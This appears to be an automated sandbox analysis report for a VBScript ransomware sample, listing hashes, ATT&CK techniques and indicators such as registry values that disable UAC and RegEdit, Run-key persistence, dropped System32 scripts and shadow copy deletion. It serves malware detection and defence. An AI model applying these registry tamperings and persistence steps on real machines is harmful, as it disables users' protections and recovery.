80c5e8f13d838fd509ddb0eaa4daf63c8d09b4d34556794cbcaec20875210208

Analysis

max time kernel
43s
max time network
45s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-10-2024 15:13

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Ransom.Win32.LCrypt0rX.A/LCrypt0rX with shutdown.vbs
Size

21KB
MD5

ccfb22a0d55543947874bc9b607c7843
SHA1

b956bda2cb1484dd81a858a20b6f352738b7520a
SHA256

709f205ac793546c11dab288eebec677f14b61c1e290ba48c8694e199c55ec42
SHA512

987888a30fdd10957c00c0cf34197ff9e261dc364251a778e758248a298782555b071b1a9ac693d253ae91a3ee72c2bb4114a9462fc3fe9e574752eaa9b82a06
SSDEEP

384:tegbplStxYHQHSH7l+icj1F2Z2vXQayXwA+9xQ+E6z:b2T2hJ+Em

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Blocklisted process makes network request 3 IoCs

Processes:

wscript.exe

flow pid process

3 2792 wscript.exe
5 2792 wscript.exe
7 2792 wscript.exe

flow	pid	process
3	2792	wscript.exe
5	2792	wscript.exe
7	2792	wscript.exe

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

evasion

Processes:

wscript.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	wscript.exe

Disables RegEdit via registry modification 1 IoCs

evasion

Processes:

wscript.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	wscript.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wins32BugFix = "C:\\Windows\\System32\\wins32bugfix.vbs"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyStartupScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Ransom.Win32.LCrypt0rX.A\\LCrypt0rX with shutdown.vbs"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iamthedoom = "C:\\Windows\\System32\\iamthedoom.bat"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpamScript = "C:\\Windows\\System32\\haha.vbs"	wscript.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" wscript.exe

Drops file in System32 directory 6 IoCs

Processes:

wscript.exe

description	ioc	process
File opened for modification	C:\Windows\System32\iamthedoom.bat	wscript.exe
File created	C:\Windows\System32\haha.vbs	wscript.exe
File opened for modification	C:\Windows\System32\haha.vbs	wscript.exe
File created	C:\Windows\System32\wins32bugfix.vbs	wscript.exe
File opened for modification	C:\Windows\System32\wins32bugfix.vbs	wscript.exe
File created	C:\Windows\System32\iamthedoom.bat	wscript.exe

Drops file in Windows directory 5 IoCs

Processes:

mspaint.exemspaint.exemspaint.exemspaint.exemspaint.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

IEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exe

pid process

2668 vssadmin.exe
Kills process with taskkill 8 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4880 taskkill.exe
668 taskkill.exe
2204 taskkill.exe
3740 taskkill.exe
4260 taskkill.exe
4376 taskkill.exe
4528 taskkill.exe
4612 taskkill.exe
Modifies Control Panel 1 IoCs
evasion

Processes:

wscript.exe

description ioc process

Key created \REGISTRY\MACHINE\Control Panel\Mouse wscript.exe

pid	process
2668	vssadmin.exe

pid	process
4880	taskkill.exe
668	taskkill.exe
2204	taskkill.exe
3740	taskkill.exe
4260	taskkill.exe
4376	taskkill.exe
4528	taskkill.exe
4612	taskkill.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Control Panel\Mouse	wscript.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

iexplore.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 80a31483f026db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEiexplore.exeiexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000045c0dde48c11474f81d9a2c02be4ea2200000000020000000000106600000001000020000000ecb822de27f035e971e67b49a7d58e81980bebef21f2c01957756ad06df97564000000000e800000000200002000000010b9716e68f54ef4ca37a40ac05053900dbdb982ca1b34e276bf12f821dbf7aee0020000d523069f9de28a19369d80100d00bdc0b22ab1b396900d22c83f25ef178cf0c12ae0dc9c7a5138d25738d496c7f1bcc632d3c9e87deabda6ea0ab3a4dadf1f03cea83a2005769bdfa34133b5a35f525b67b9c5736a88492c0fcc1e601e3689521002f8f977c70b839d68a35738a1fd980ddb8063f181d6d67463e4f77fc26d076fb0a17ced3a06bc197b916572d611cb8ef272f98b10a5d352cc3e5c27c47104c5224b8cf072d20a252b920ef0a011145897e668270cc70772715d00eb7fb5a39e7f2ab5c3e8d8d5e99ac89927bd4a07691b6b4f0a5274f14a91ca1026ed07f86c4cfbbe4541b86b7aaa976e0e3b243f7e6bffa2e81ea6cde29ca185b28132ee2a714b33c9cfdef53d64a20271a311c334fb497c1d350f9d60f52ae5d09305bbc138c7cb8a5b947a3850e7208f575bbc3b20971ac9f6c50ef11d8c6eae83729e6b8db8ff32fc9b31c4848ec9474957841dd16a01f0f3b4a6d5250e6863f36dff03fabd01d961afe2a543249303c2d1aaf7ed3580bdf8ff527d11a59e88ecf3f5beb20412657b0ec35b5dcb94c3e4552e04e68def140143f5d6913bcc93b5a381a206f41f785315150301afbc059947d29c46d19de5d3d2a5f87d8ee51365699555e8332023bc3b5000fb99721d87eab1a2946b4082bdf450146b065689ac843f21e57b25ffa05e9b0908b046ba73186e14243dbdfbabf2ea5d0df0ab240484936a1b412e91cdad6b5d616dcf02c2885309c0b40faede4526face5d430c2dfaadfdbedb440f3ea56bd6d38dde04437b10aa7a51ac0fe34be08790250435163562c40699eb3da2def1a51a5aed34fbefc3ae33f95adb7754d358a7c312e48b05c208346620596229179647be7992d60a6241edf7180a9735d3ff1abbb2e32dee11e41048f3716157e90873e4f047bc64dd507cb5498a3aa0a4f9632edbbc503b29c59188f10e88f142e19883fc8c5c9ecbf22d6339a3ce3720add9064d897dfe6070b84d4ec18fc18f9cad54e5efc40d64f6f1ed99984c33d003312da60c7077664000000035d34bbe9adf9f6fd26002a02b6488a6f4e11e135bc2231f47550c8295d204d6c2d50cd05b0f05a791ebbb422c8269d36c797d71cfb06bcac1dc5233184394f7	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff6f00000019000000f50400007e020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff00000000000000008604000065020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B5DECDE1-92E3-11EF-AD39-C6DA928D33CD} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2056 notepad.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
2056	notepad.exe

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

vssvc.exetaskkill.exetaskkill.exeshutdown.exetaskkill.exe

description	pid	process
Token: SeBackupPrivilege	2144	vssvc.exe
Token: SeRestorePrivilege	2144	vssvc.exe
Token: SeAuditPrivilege	2144	vssvc.exe
Token: SeDebugPrivilege	668	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeShutdownPrivilege	3344	shutdown.exe
Token: SeRemoteShutdownPrivilege	3344	shutdown.exe
Token: SeDebugPrivilege	3740	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

iexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exe

pid	process
2088	iexplore.exe
2088	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
1864	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2088	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
2136	iexplore.exe
2136	iexplore.exe
2716	iexplore.exe
2716	iexplore.exe
2788	iexplore.exe
2788	iexplore.exe
1524	iexplore.exe
1524	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
600	iexplore.exe
600	iexplore.exe
212	iexplore.exe
212	iexplore.exe
1552	iexplore.exe
1552	iexplore.exe
2840	iexplore.exe
2840	iexplore.exe
644	iexplore.exe
644	iexplore.exe
2588	iexplore.exe
2588	iexplore.exe
2508	iexplore.exe
2508	iexplore.exe
2840	iexplore.exe
2840	iexplore.exe
2840	iexplore.exe
2840	iexplore.exe
2716	iexplore.exe
2716	iexplore.exe

Suspicious use of SetWindowsHookEx 64 IoCs

Processes:

mspaint.exemspaint.exemspaint.exemspaint.exemspaint.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEiexplore.exeiexplore.exe

pid	process
1432	mspaint.exe
2440	mspaint.exe
2780	mspaint.exe
1432	mspaint.exe
1432	mspaint.exe
1432	mspaint.exe
1640	mspaint.exe
2420	mspaint.exe
1640	mspaint.exe
2440	mspaint.exe
2780	mspaint.exe
2440	mspaint.exe
2440	mspaint.exe
1864	iexplore.exe
2088	iexplore.exe
1864	iexplore.exe
2088	iexplore.exe
2780	mspaint.exe
2780	mspaint.exe
212	iexplore.exe
212	iexplore.exe
1552	iexplore.exe
1552	iexplore.exe
1640	mspaint.exe
1640	mspaint.exe
2716	iexplore.exe
2716	iexplore.exe
2420	mspaint.exe
2420	mspaint.exe
2420	mspaint.exe
2136	iexplore.exe
2136	iexplore.exe
2772	iexplore.exe
2772	iexplore.exe
1588	iexplore.exe
1588	iexplore.exe
840	iexplore.exe
840	iexplore.exe
2788	iexplore.exe
2788	iexplore.exe
1564	iexplore.exe
2508	iexplore.exe
1564	iexplore.exe
2508	iexplore.exe
600	iexplore.exe
1524	iexplore.exe
644	iexplore.exe
600	iexplore.exe
1524	iexplore.exe
644	iexplore.exe
2588	iexplore.exe
2840	iexplore.exe
2588	iexplore.exe
2840	iexplore.exe
1984	iexplore.exe
1984	iexplore.exe
3020	iexplore.exe
3020	iexplore.exe
3268	IEXPLORE.EXE
3268	IEXPLORE.EXE
3252	iexplore.exe
3252	iexplore.exe
3376	iexplore.exe
3376	iexplore.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exewscript.execmd.execmd.exewscript.exewscript.exewscript.exe

description	pid	process	target process
PID 1508 wrote to memory of 2792	1508	WScript.exe	wscript.exe
PID 1508 wrote to memory of 2792	1508	WScript.exe	wscript.exe
PID 1508 wrote to memory of 2792	1508	WScript.exe	wscript.exe
PID 2792 wrote to memory of 2684	2792	wscript.exe	cmd.exe
PID 2792 wrote to memory of 2684	2792	wscript.exe	cmd.exe
PID 2792 wrote to memory of 2684	2792	wscript.exe	cmd.exe
PID 2684 wrote to memory of 2668	2684	cmd.exe	vssadmin.exe
PID 2684 wrote to memory of 2668	2684	cmd.exe	vssadmin.exe
PID 2684 wrote to memory of 2668	2684	cmd.exe	vssadmin.exe
PID 2792 wrote to memory of 2056	2792	wscript.exe	notepad.exe
PID 2792 wrote to memory of 2056	2792	wscript.exe	notepad.exe
PID 2792 wrote to memory of 2056	2792	wscript.exe	notepad.exe
PID 2792 wrote to memory of 1820	2792	wscript.exe	cmd.exe
PID 2792 wrote to memory of 1820	2792	wscript.exe	cmd.exe
PID 2792 wrote to memory of 1820	2792	wscript.exe	cmd.exe
PID 2792 wrote to memory of 2416	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 2416	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 2416	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 1544	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 1544	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 1544	2792	wscript.exe	wscript.exe
PID 2792 wrote to memory of 668	2792	wscript.exe	taskkill.exe
PID 2792 wrote to memory of 668	2792	wscript.exe	taskkill.exe
PID 2792 wrote to memory of 668	2792	wscript.exe	taskkill.exe
PID 1820 wrote to memory of 1432	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 1432	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 1432	1820	cmd.exe	mspaint.exe
PID 1820 wrote to memory of 1864	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1864	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1864	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1552	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1552	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1552	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 1852	1820	cmd.exe	calc.exe
PID 1820 wrote to memory of 1852	1820	cmd.exe	calc.exe
PID 1820 wrote to memory of 1852	1820	cmd.exe	calc.exe
PID 1544 wrote to memory of 2204	1544	wscript.exe	taskkill.exe
PID 1544 wrote to memory of 2204	1544	wscript.exe	taskkill.exe
PID 1544 wrote to memory of 2204	1544	wscript.exe	taskkill.exe
PID 2416 wrote to memory of 2252	2416	wscript.exe	wscript.exe
PID 2416 wrote to memory of 2252	2416	wscript.exe	wscript.exe
PID 2416 wrote to memory of 2252	2416	wscript.exe	wscript.exe
PID 1820 wrote to memory of 2088	1820	cmd.exe	iexplore.exe
PID 1820 wrote to memory of 2088	1820	cmd.exe	iexplore.exe
